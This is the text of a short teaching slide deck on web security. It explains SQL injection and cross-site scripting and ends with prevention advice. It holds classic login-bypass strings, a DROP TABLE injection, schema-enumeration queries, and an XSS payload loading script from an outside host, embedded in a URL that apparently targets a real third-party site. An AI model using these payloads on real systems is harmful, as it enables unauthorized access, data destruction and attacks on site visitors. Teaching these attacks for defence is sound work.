One of my short presentation on web security. (Demo) - Sql injection - Cross site scripting.

1. Software Security

2. What is software Security?
•
Application security encompasses measures taken
throughout the application's life-cycle to prevent
exceptions in the security policy of an application or the
underlying system (vulnerabilities) through flaws in the
design, development, deployment, upgrade, or
maintenance of the application, .

3. Why Software security is important?

Leakage of Sensitive data.

Crash of entire application or database.


Fixing issues after the attack will be more expensive
and time consuming.
Quality of the product.

4. Common vulnerabilities in web
application

SQL Injection

Cross-Site Scripting(XSS)

Buffer overflows

HTTP response splitting

5. 2010 statistics of web Vulnerability

6. What is SQL injection?

SQL injection is a code injection technique that
exploits a security vulnerability occurring in the
database layer of an application. The vulnerability is
present when user input is either incorrectly filtered
for string literal escape characters embedded in SQL
statements or user input is not strongly typed and
thereby unexpectedly executed.

7. How it works?

8. Demonstration

11. Login using SQL injection

"SELECT * FROM users WHERE name = ' " + userName + " '
AND password = ' “+Password+“ ';"

12. 
a' or 't'='t

1' or 1=1

13. 
SELECT * FROM users WHERE name = ' ' AND
password = ' ' ;




SELECT * FROM users WHERE name = 'admin' AND password
= 'pass123' ;
SELECT * FROM users WHERE name = ' a' OR 't'='t ' AND
password = ' a' OR 't'='t ';
SELECT * FROM users WHERE name = ' a' OR 't'='t ' AND
password = ' a' OR 't'='t ';
DROP TABLE users; - -';

14. More exploits using SQL injection


SELECT TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES
SELECT COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='customers'

15. XSS( Cross-Site Scripting)

16. Cross-site Scripting

Cross-site scripting (XSS) is a type of computer
security vulnerability typically found in web
applications that enables malicious attackers to
inject client-side script into web pages viewed by
other users.

17. How it works
Script Injection




Same as before, but instead of placing code in URL, script code is
saved on the application website and stored in database using their
own non-validated forms
When that data is retrieved from database and users load that webpage
the code executes and attack occurs
User would never know the code was executed without viewing the
source of each webpage, since the link looks valid
The application website owner is potentially liable since the attack
code is stored on their site

21. 
<SCRIPT SRC="http://ha.ckers.org/xss.js"></SCRIPT>

22. http://www.easydoc.com.au/test/personalprofile.action
?address1=
&suburb=
&state=
&zipcode=1
&homePhone=
&mobilenumber=
&reminderOption=0
&title=Dr
&firstname=<SCRIPT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
&lastname=Doctor
&photoupload=
&smsOption=0
&type=GP
&reqNo=82

23. Preventing SQL injection and XSS

SCRUB Error handling
Error messages divulge information that can be used by hacker

VALIDATE all user entered parameters

CHECK data types and lengths

DISALLOW unwanted data (e.g. HTML tags, JavaScript)

ESCAPE questionable characters (ticks, --,semi-colon, brackets, etc.)

24. Thank You